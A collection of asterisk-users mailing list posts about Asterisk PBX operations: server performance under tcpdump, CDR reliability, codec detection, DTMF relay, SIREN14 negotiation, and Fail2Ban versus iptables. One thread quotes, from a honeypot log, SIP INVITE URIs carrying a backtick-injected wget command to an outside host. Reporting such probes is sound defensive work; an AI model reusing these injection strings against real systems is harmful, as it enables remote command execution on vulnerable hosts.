[asterisk-users] call recording via 3rd INVITE/SIP leg
I have a call recording (audio) requirement that isn't addressed by local Monitor/Record features. All signalling and media currently pass through the Asterisk servers, so that won't be an issue. Instead of locally recording audio, for certain calls I need to add what is effectively a 3rd leg to the in progress 2-leg call. This 3rd leg is a SIP dial to a URI and/or PSTN number. I'm thinking I have to do this with a conference bridge config and add a 3rd muted leg to the conference? Suggestions? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] HP DL360 G5 better than HP DL360 G7 ?
You might want to check/compare disk-io throughput on your G5 vs G7. Just a thought Thanks Hans, I will do some disk benchmarking just in case. I do know that I/O wait on the G7s has been an order of magnitude less than the G5s under the same load so I *think* the fancier raid device and faster disks are doing their job. Since I disabled Asterisk cdrs completely, the problem has gone away. And I'm now on Asterisk 1.8.14.1 which appears to not crash like 1.8.12 did. I'm going to try and recreate the problem without any of my AGI code (just Asterisk extension B2BUA calling and CDRs enabled to default CSV settings). I'm guessing that perhaps there might be an Asterisk performance issue writing to that flat file. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] HP DL360 G5 better than HP DL360 G7 ?
I think I may have found the issue affecting our HP DL360 G7s (but I don't begin to understand why this problem does not happen on our HP DL360 G5 with a slower disk subsystem). Recap: Running tcpdump on SIP UDP along with Asterisk 1.8.* causes Autodestruct ... owner in place ... BYE messages when running on our new G7 servers (generally once the box has more than 100 B2BUA calls up and running). Items that had no effect: updated firmware, later versions of Asterisk 1.8.* (we are running 1.8.7.0, later versions crash after half a million calls), enable/disable PAE kernel, tune/adjust AGI script to make sure end-of-call processing is always fast (hi-res timers confirm). I was even able to reproduce the problem using SIPp to generate a high call rate with no RTP (SIP signalling only). Reading all the various threads on Autodestruct ... BYE messages, I found the thread about using radius and having a non-responsive radius server causing the CDR process to delay and generate this message. I'm NOT using radius, and the only Asterisk CDR processing I have enabled is the out-of-the-box CSV file. On a hunch, I disabled CDR processing completely in cdr.conf ([general] enable=no) and now the Autodestruct messages are gone. I've even pushed the load to twice the normal peak and still no Autodestruct complaints. It would appear for whatever reason, there was some delay/blocking writing CDRs to the csv file? I do still see channels that appear stuck in Rx: BYE state and that must be related to other possibly resolved bugs in after 1.8.7.0? (And I do see those as well on the DL360 G5 boxes that just seem to run with no issue). Next step will hopefully to get the latest 1.8.current up and running (as long as it doesn't crash like 1.8.12.2 has with the same traffic). -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] HP DL360 G5 better than HP DL360 G7 ?
On Wed, Jun 13, 2012 at 9:06 PM, Andrew Joakimsen joakim...@gmail.com wrote: Make sure you have installed Proliant Support Pack (PSP) then you can monitor the system through HP System Management Homepage (SMH) HP publishes drivers for the network cards. I've never used them as the built in drivers seem to work, but worth a shot. Maybe included in the PSP? Also check the newest HP firmware DVD, as well as any supplemental firmware updates e.g. (check your system for compatibility first!) HP Broadcom Online Firmware Upgrade Utility for Linux x86_64 ver 2.5.14 4 Jun 2012. Thanks! We are checking and applying firmware updates. And we will look at the driver versions. I also noticed that the G7 boxes are running CentOS 5.8 vs CentOS 5.7 on the G5s. I'll rule that out by upgrading one of the G5s to 5.8 We've not had issues between CentOS releases in the past. I'm still running Asterisk 1.8.7.0 as I noticed that 1.8.12.2 would occasionally crash (and get restarted by safe_asterisk) after 10s of thousands of calls. What's the best way to make sure at least a core file gets created? Any other tips on getting crash info? It is not reproducible on demand other than putting the box into production and waiting for 50-100K calls. Hardware enumeration printout is on its way too for the original request. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] HP DL360 G5 better than HP DL360 G7 ?
Any tips on solving the following performance conundrum: Asterisk 1.8.12.2 running on HP DL360 G5 and G7s tcpdump running to capture UDP 5060/SIP signaling to .pcap files All calls are ultimately B2BUA client - asterisk - PSTN Media stays on Asterisk at all times AGI script has exit handler that connects and updates an external database upon BYE from either side. I know that if exit handler hangs around too long, Bad Things (tm) will happen. Oddly, under load (60-100 B2BUA calls), the G7s start complaining: Autodestruct on dialog 'CALLID' with owner in place (Method: BYE) I/O wait is actually higher on the G5s, the G7s have fancy disk cache cards and never get above 1% i/o wait turn off the tcpdump process on the G7s and Autodestruct warnings go away. The G7s should have much more capacity than the G5s but we never, ever get Autodestruct ... Method: BYE on the G5s. OS is identical CentOS in both cases. Every other environmental config is the same (network, subnet, DNS etc). Architecture/bus/network card difference? tcpdump starving some other resource to cause stuff to slow down? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] HP DL360 G5 better than HP DL360 G7 ?
On Mon, Jun 4, 2012 at 12:15 AM, Steve Edwards asterisk@sedwards.com wrote: This AGI (which should only take about 20 seconds) occasionally takes a minute or 3 to complete, but it does complete. You should also be seeing the Autodestruct message? I put a sleep 60 in my exit handler and can create that message on demand. What kinds of problems are you seeing when your AGI takes too long? The Autodestruct message is obviously just the first sign that problems are ahead. Unabated, the calling rate is sufficient that in one case I eventually ran out of RTP ports with presumably all the calls trying to be torn down but still hanging around. Initially I assumed it was my database transactions gumming up the works. I am using pgpool locally to cache connections to the actual database. The exit handler connects to localhost to communicate with pgpool. During the time when the Autodestruct messages are flowing, however, I could not find any database connection problems (testing in real time from the CLI on a troubled box). The connection pool is not starved. DNS lookups and new connections are subsecond. So I don't think it is actually my exit handler code but perhaps something else that is causing contention. *) If I get a chance to re-code it, I'd just write a database record and then cobble up a daemon or cron job to do the heavy (and time consuming) lifting. Totally agree. Before the outbound leg begins, I write a database record. For scale, my ultimate exit handler might just write some variables to a local unique file or reliable syslog or message queue of some sort to minimize processing in the teardown of a call and NOT anger the Asterisk gods :-) The problem I'm having is that for some reason, running tcpdump simultaneously and logging all SIP UDP to files is making the supposedly more powerful G7 box have fits that start with Autodestruct ... method BYE messages. The lesser G5 model DL 360 seems to handle the identical load and tcpdump with no problem. I have a total of 20 servers, 10 model G5 and 10 model G7 and the pattern is clear. The load is distributed by a simple A record shuffle from a SER instance. Really basic stuff. I'm going to find a copy of that hardware enumeration utility mentioned in this thread and post some info. -- Thanks in advance, - Steve Edwards sedwa...@sedwards.com Voice: +1-760-468-3867 PST Newline Fax: +1-760-731-3000 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Save Call Detail state on second leg of a calls
I'm probably over thinking this but would like to know what folks think about:
I have an array of identical Asterisk servers that are effectively
running a 'calling card' style application. First leg inbound
to validate a bunch of things and if all pass, second leg is outbound
and 'billable'.
Custom AGI script in Perl with DBI connections via pgpool to a
centrally located postgresql database.
Works like a dream. (And scales like a dream since 1U HP/IBM servers
are so damned cheap and draw less power).
(Maybe I'll convert Perl to C when the feature/flow has settled down,
but for now having it in Perl lets me enhance
things very quickly).
My call accounting strictly relies on Perl AGI custom code that
creates a CDR in the postgresql database at the end
of the call no matter which leg hangs up first. If the 2nd leg
generates the hangup, the Perl script just continues past
the Dial exec and creates the CDR. If the 1st leg generates the BYE,
the $SIG{HUP} = \catchangup; log catches
it and calls the CDR routine.
About 1 in 5,000 calls I miss the CDR creation (and I'm not sure why).
I know this because I create a record at the beginning of
the call as part of some fraud prevention/usage metics that hangs
around if the post call cleanup doesn't fire correctly.
While I can get great details about the 1st leg of the call from the
plain old CSV CDRs, I really need more details about
the second and outbound leg of the call (especially if it was answered).
I was thinking about using the filesystem to 'backup' cache active
calls. Prior to connecting the outbound leg, create
a file on the local (and idle) filesystem with the unique name and put
some call details in it. At the end of the outbound leg, update
this file with stats from the outbound leg PRIOR to attempting the
database updates. If the database updates fire correctly
as they do 4,999 times out of 5,000, then delete the file. Then I can
sweep through with an occasional cronjob to find the
leftover files and execute the SQL necessary to close out those calls.
Crazy? It is pretty simple to do and often the ONLY think you can
trust on a Linux system is the creation/deletion/existence of a file
(assuming
that some transient network condition might exist to the database or
other Perl/exception processing that prevents the SQL calls from
firing.
Other ideas? I also thought about having local postgresql instances
on each Asterisk server and turning on all CDR options to see what
I could fish from that. But it is hard to beat simple flat files for
redundant logging.
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Re: [asterisk-users] A new hack?
On Fri, Dec 2, 2011 at 12:44 PM, Steve Edwards asterisk@sedwards.com wrote: Gordon (based on my understanding of his posts) does a lot of Asterisk systems on very limited hardware hosts. His approach uses iptables features to limit the number of SIP INVITES and REGISTERS per second per IP address. A very narrow solution to a fairly narrow attack surface and surely isn't applicable to any medium to large scale solutions. Thus, Gordon's approach is more responsive (since it doesn't require periodic log file scanning) and requires less hardware resources (since it doesn't depend on running relatively 'slothish' resource intensive script interpreters like Perl or PHP periodically). So Fail2Ban is inefficient on how it reads log files? If so, that could be an informed criticism of Fail2Ban. Personally, I find any approach that tracks log files 'hackish' but if you centralize your logging (which I always do) it does allow you to detect patterns of abuse across multiple hosts. Others would say that not using IPS/IDS/adaptive sec appliances is hackish but I'm not one of those. There are very efficient ways to read log files even with Perl on hardware no bigger than my Dockstar when coded properly, so reading log files isn't hackish. Looking at advanced threats that are encrypted or otherwise located within legitimately large streams of UDP and TCP traffic are not going to lend themselves to some simpleton IP/port/rate iptables rule or even more complex iptables view into the data. The application log might be the ONLY place to correlate events. Good luck doing that with iptables alone. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] A new hack?
On Thu, Dec 1, 2011 at 8:13 AM, Gordon Henderson gordon+aster...@drogon.net wrote: Yes, I know exactly how Fail2Ban works. Then you should be able to proffer a better argument of why it isn't necessary. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Skype For Asterisk (SFA): any replacement?
On Thu, Dec 1, 2011 at 8:30 AM, gincantalupo gincantal...@fgasoftware.com wrote: Hi all, any idea about how to replace Skype For Asterisk? Thank You. Giorgio We are going through this right now and have chosen to Pay The Man via per channel subscription to Skype Connect. Watch the fun video at: http://www.skype.com/intl/en/business/skype-connect/ :-) Skype-For-Asterisk is a vastly superior product/service but someone at Skype woke up one day and said, Hey we can't let that product succeed and lose control of some valuable fees. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] A new hack?
On Tue, Nov 29, 2011 at 4:44 PM, john Millican j...@millican.us wrote: Maybe I am misunderstanding the gist of the comment OP offered an invalid comparison of how iptables is better than Fail2Ban. Whether or not OP knew that Fail2Ban simply feeds rules to iptables is unclear from his comments. Log scraping is a time honored and effective method to correlate bad behavior. Log scraping can see things that no iptables rule would ever find. Think SSL. If Fail2Ban is a bad log scraper framework, then criticize it with a clear understanding of its role. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] A new hack?
On Sun, Nov 27, 2011 at 8:47 AM, Gordon Henderson gordon+aster...@drogon.net wrote: Linux has excellent built-in subsystems to control firewalling and so on without resorting to external programs. It's called iptables. If you know how to use them, then using an external resource such as fail2ban is unneccessary. That's like saying you don't need FreePBX because you have this thing called Asterisk. Though I've never used Fail2Ban, it is an excellent example of middleware that looks at application level events and feeds updates to iptables. So the important blocking is happening in kernel mode, not userland. Your example: For example, with iptables rules you can say something like: If a connection from a remote site to a local port happens more than (say) once a second then drop that connection. doesn't always work well for some applications. Ever look at WebDAV traffic? Code me an iptables rule that figures out someone is doing bad things via WebDAV :-) -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Determine negotiated codec in script
So I did a little more digging and found a real simple answer:
${CHANNEL(audionativeformat)}
tells me 'ulaw' or 'siren14' and lets me pick the right file extension
for the record function.
On Tue, Sep 13, 2011 at 5:19 PM, Tom Browning ttbrown...@gmail.com wrote:
Sorry if this is an obvious question and perhaps my Google foo isn't
right on this one:
I have calls coming into an Asterisk server that may be using 2
different codecs. I am recording audio in both cases but the
challenge is knowing which codec was negotiated at call setup. I need
to pass the proper format to the record command as the codecs cannot
be transcoded and are only supported for playback/record/passthru etc.
Is there some global variable present that I can look at for codec
identification?
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[asterisk-users] DTMF fun
I'm chasing down some DTMF interop issues would like to hopefully rule out Asterisk in the following configuration: RTP path is: Linux/PC/Mac SIP clients - [MediaProxy as needed] - Asterisk 1.8.7 - SIP termination provider(s) DTMF is strictly RFC2833 with no in-band. Asterisk stays in the media path for application reasons and is Locally bridging SIP/foo and SIP/bar Asterisk is NOT configured to act on any DTMF while bridging the call (no options re: DTMF on Dial() and no features enabled AFAIK). (In the future, I may have Asterisk act on '*' key, but not yet) The problem I'm seeing appears to be SIP client dependent (Linux/PC/Mac). The issue manifests itself when the client calls an IVR/conference app on the far end and needs to enter DTMF keys to interact (no surprise here!). Counterpath's X-Lite appears to work 100% of the time with no issues. Blink appears to work 95% of the time 2 other clients may work only 60% of the time Looking at the RTP streams, all these clients send RFC2833 with slight variations on a theme. My question is this: Is Asterisk simply relaying the client's DTMF signalling untouched or do I need to look at Asterisk more closely and turn some knobs. I'm guessing that Locally Bridging (without acting on any key) means that Asterisk is doing the simplest of all possible things and just relaying the RTP packets, and I need to just continue focusing on SIP clients and their interop with distant and diverse gateways. [I've read the Asterisk tickets about interop vs. RFC compliance but I'm hoping to rule that out here as Asterisk is not originating the DTMF] Thanks -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Determine negotiated codec in script
Sorry if this is an obvious question and perhaps my Google foo isn't right on this one: I have calls coming into an Asterisk server that may be using 2 different codecs. I am recording audio in both cases but the challenge is knowing which codec was negotiated at call setup. I need to pass the proper format to the record command as the codecs cannot be transcoded and are only supported for playback/record/passthru etc. Is there some global variable present that I can look at for codec identification? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] new sort of shell attack attempt via SIP?
I haven't seen this sort of URI/shell attack prior to today but it looks interesting. Embedding a backtick in the URI with a wget that doesn't seem to do much to an empty file. I'm guessing it is just a probe to see if they can send further embedded backtick shell commands to my Asterisk instance (by watching their weblogs @ 91.223.89.94) (This happens to be my honeypot that just accepts all calls and dumps them into one big Asterisk 10 beta ConfBridge :-) INVITE sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. INVITE sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. INVITE sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. INVITE sip:011123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. INVITE sip:011123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. INVITE sip:011123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. Does Asterisk have shell injection weakness? Or perhaps this targets some other Asterisk config manager that is subject to injection via URI? Tom -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] new sort of shell attack attempt via SIP?
I disagree with the 'review CDR' angle for a number of reasons: a) there is a backtick in the URI trying to force shell and the proper wget command line to send results to /dev/null b) the V.php (at the url) appears to do nothing at all and might just be empty (for log scraping), url safety checks confirm c) the invites were sprayed across my entire IP address range To me, this is more like a scan for any SIP host that has shell injection vulerability. The list of vulnerable hosts is just a log scrape away at the server 91.223.89.94 On Sun, Sep 11, 2011 at 7:20 PM, Alex Balashov abalas...@evaristesys.com wrote: On 09/11/2011 07:05 PM, Tom Browning wrote: INVITE sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x SIP/2.0. My guess is that this attack presumes you are running a web GUI such as FreePBX, and that it does not sanitise embedded HTML. Thus, when reviewing your CDRs, for instance, you might click on such a link. A more sophisticated variant of that would embed script tags and a with a shortened URL (overall small enough to fit inside a SIP display name field or whatnot) to effectuate a cross-site scripting attack. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] background audio for inbound leg
Is there an easy way to feed an audio file (think background music, ever so softly) to the inbound leg of a bridged call (and not send / mix it to the outbound leg)? exten = blah,1,Answer() exten = blah,2,StartSomeAudio(foo)? exten = blah,3,Dial(SIP/bar) Where the audio would continue to play to the inbound leg in addtion to the bridged inbound audio. Thanks in advance including any RTFM references :-) Tom -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Contact header gets url decoded?
I'm migrating an application running on a fairly old 1.4 (or 1.2?) version of Asterisk to some boxes running 1.6.0.27 The application takes an inbound INVITE like: mumble-fratz-sip%3afoo%40bar@asteriskbox.abc.com:5062 The older version of asterisk replies with a 200 OK and a Contact: header that looks like: Contact: sip:mumble-fratz-sip%3afoo%40bar@asteriskbox.abc.com:5062 Newer 1.6 Asterisk (I've tried 1.6.0.9 and 1.6.0.27) take the identical call and reply with a 200 OK and a Contact header of: Contact: sip:mumble-fratz-sip:f...@bar.com@asteriskbox.abc.com:5062 And the calling applications appear to not recognize this 200 OK and never send an ACK and Asterisk eventually throws in the towel on the call setup Is there a knob I can adjust this behavior? The original To: is never molested in the same way, just the Contact header. Thanks in advance, Tom -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIREN14 call setup and record/playback
On Thu, Nov 5, 2009 at 8:23 AM, Kevin P. Fleming kpflem...@digium.comwrote: We need to see how you are originating the calls; it's up to the originator to specify the formats that will be allowed for that call. In spool files, for example, there is a header that can be included to specify which audio (and video) codecs should be offered on the outgoing channel. Thanks Kevin, I was unaware of the Codecs header for the spool file. However Asterisk still appears to be less than satisfied when asked to initiate a call with 'siren14' as the *only* codec. (Obviously it isn't yet a full codec for Asterisk and is only a supported format. I suspect that is the key to this observation) As a clean test, I did the following on a fresh install of CentOS: svn checkout http://svn.digium.com/svn/asterisk/trunk asterisk cd asterisk ./configure make menuselect make install make samples cp /usr/local/src/asterisk/contrib/init.d/rc.redhat.asterisk /etc/init.d/asterisk asterisk -vvv | grep siren == Registered file format siren7, extension(s) siren7 format_siren7.so = (ITU G.722.1 (Siren7, licensed from Polycom)) == Registered file format siren14, extension(s) siren14 format_siren14.so = (ITU G.722.1 Annex C (Siren14, licensed from Polycom)) (first make sure basic spool call works) vi /etc/asterisk/sip.conf disallow=all allow=ulaw service asterisk restart vi call.txt Channel: SIP/f...@bar.com CallerID: testcall Context: default Extension: demo Codecs: ulaw cp call.txt /var/spool/asterisk/outgoing/ Outgoing INVITE sent to the folks at bar.com (now let's try just siren14) vi /etc/asterisk/sip.conf disallow=all allow=siren14 service asterisk restart vi call.txt Channel: SIP/f...@bar.com CallerID: testcall Context: default Extension: demo Codecs: siren14 cp call.txt /var/spool/asterisk/outgoing/ -- Attempting call on SIP/f...@bar.com for d...@default:1 (Retry 1) [Nov 10 07:43:13] WARNING[27630]: chan_sip.c:5735 sip_call: No audio format found to offer. Cancelling call to foo So while inbound calls work fine with siren14 as the only allow=, Asterisk won't initiate an outbound call with siren14 as the only choice. Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIREN14 call setup and record/playback
On Tue, Nov 10, 2009 at 1:20 PM, Kevin P. Fleming kpflem...@digium.com wrote: Please run this test with the 'debug' level enabled for the 'console' channel in logger.conf, and then ensure that you have 'core set verbose 10' and 'core set debug 10' before attempting the outbound call. This should give us some information about why chan_sip did not allow the channel to be created. I suspect it may be because your defined peer for bar.com was not actually used, since your spool file has mailto:f...@bar.com in the Channel header, since that is not valid syntax. Sorry, there is no mailto: header in the spool file, that must be gmail parsing my paste as html and adding that format. setting gmail to plain text: Channel: SIP/f...@bar.com CallerID: testcall Context: default Extension: demo Codecs: siren14 The only difference between the call attempt that actually sends the INVITE and the call attempt that complains is 'ulaw' vs 'siren14' in the sip.conf allow= and spol file Codecs: header. Clearly those codec choices are not treated the same to build an outbound INVITE. Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIREN14 call setup and record/playback
On Tue, Nov 10, 2009 at 3:39 PM, Kevin P. Fleming kpflem...@digium.com wrote: They are, but we won't be able to know what is happening unless you post a detailed console log like I suggested in my previous reply. -- Attempting call on SIP/f...@bar.com for d...@default:1 (Retry 1) [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:24104 sip_request_call: Asked to create a SIP channel with formats: 0x40 (slin) [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:7546 sip_alloc: Allocating new SIP dialog for 5034f492225f4eef5db2149b20ad5...@10.1.1.148 - INVITE (No RTP) [Nov 10 17:32:37] DEBUG[28977]: rtp_engine.c:328 ast_rtp_instance_new: Using engine 'asterisk' for RTP instance '0x969b960' [Nov 10 17:32:37] DEBUG[28977]: res_rtp_asterisk.c:423 ast_rtp_new: Allocated port 12038 for RTP instance '0x969b960' [Nov 10 17:32:37] DEBUG[28977]: rtp_engine.c:337 ast_rtp_instance_new: RTP instance '0x969b960' is setup and ready to go [Nov 10 17:32:37] DEBUG[28977]: res_rtp_asterisk.c:2197 ast_rtp_prop_set: Setup RTCP on RTP instance '0x969b960' [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:5251 do_setnat: Setting NAT on RTP to Off [Nov 10 17:32:37] DEBUG[28977]: acl.c:499 ast_ouraddrfor: Found IP address for this socket [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:3851 ast_sip_ouraddrfor: Setting SIP_TRANSPORT_UDP with address 10.1.1.148:5060 [Nov 10 17:32:37] DEBUG[28977]: frame.c:1235 ast_codec_choose: Could not find preferred codec - Going for the best codec [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:6977 sip_new: *** Our native formats are 0x40 (slin) [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:6978 sip_new: *** Joint capabilities are 0x40 (slin) [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:6979 sip_new: *** Our capabilities are 0x4000 (siren14) [Nov 10 17:32:37] DEBUG[28977]: frame.c:1235 ast_codec_choose: Could not find preferred codec - Going for the best codec [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:6980 sip_new: *** AST_CODEC_CHOOSE formats are 0x40 (slin) [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:6982 sip_new: *** Our preferred formats from the incoming channel are 0x40 (slin) [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:7010 sip_new: This channel will not be able to handle video. [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:5721 sip_call: Outgoing Call for foo [Nov 10 17:32:37] DEBUG[28977]: chan_sip.c:5932 update_call_counter: Updating call counter for outgoing call [Nov 10 17:32:37] WARNING[28977]: chan_sip.c:5735 sip_call: No audio format found to offer. Cancelling call to foo Note that there are no peer definitions used. I'm only setting codec preference in sip.conf and the spool file. ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIREN14 call setup and record/playback
Continuing the siren14 usage thread: sip.conf has: disallow=all ; First disallow all codecs allow=siren14; Should I be able to originate an outbound call with siren14 as my only codec? When I try originate using either the spool file or a CLI originate command I get: [Nov 4 17:21:49] WARNING[28427]: chan_sip.c:5722 sip_call: No audio format found to offer. Cancelling call to blahblah Inbound calls, record and playback work just great. Now I want to reach out with SIREN14 Thanks in advance, Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIREN14 call setup and record/playback
What are you reaching out to exactly? It would need to be a Siren14 capable. Also, do you have the Siren codec binary installed? It's not part of the Asterisk distribution. Inbound calls to Asterisk work (from a platform that supports both Siren14 and G.711). Leaving ulaw out of the allow list forces the inbound call to negotiate Siren14. In terms of debugging the outbound call, what I'm calling hasn't yet come into play as the error No audio format found to offer. Cancelling call to blahblah happens before any INVITE is transmitted from Asterisk. Adding ulaw back into the allow list causes the outbound call to actually transmit the INVITE, but then they negotiate ulaw and not Siren14. Replacing ulaw with alaw in the allow list (a codec that is NOT supported by the platform I am calling) will also allow the outbound INVITE to be sent but no suitable codec is negotiated. Again, inbound calls do negotiate successfully. The difference seems to be related to 'jointcapabilities' vs. 'capabilities' in the chan_sip.c Are there other configuration settings I can adjust to negotiate Siren14 on outbound calls without hacking chan_sip.c? I'm hoping I've completely missed something simple. Also, you should know that all Siren14 calls are presently downsampled to 16 KHz, so are effectively Siren7.Asterisk doesn't presently support sample rates beyond 16 KHz. format_siren14.c clearly seems to state support for the 48Kbps 32Khz Siren14 flavor and Kevin Flemming's earlier reply to this thread implied support for same. Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] SIREN14 call setup and record/playback
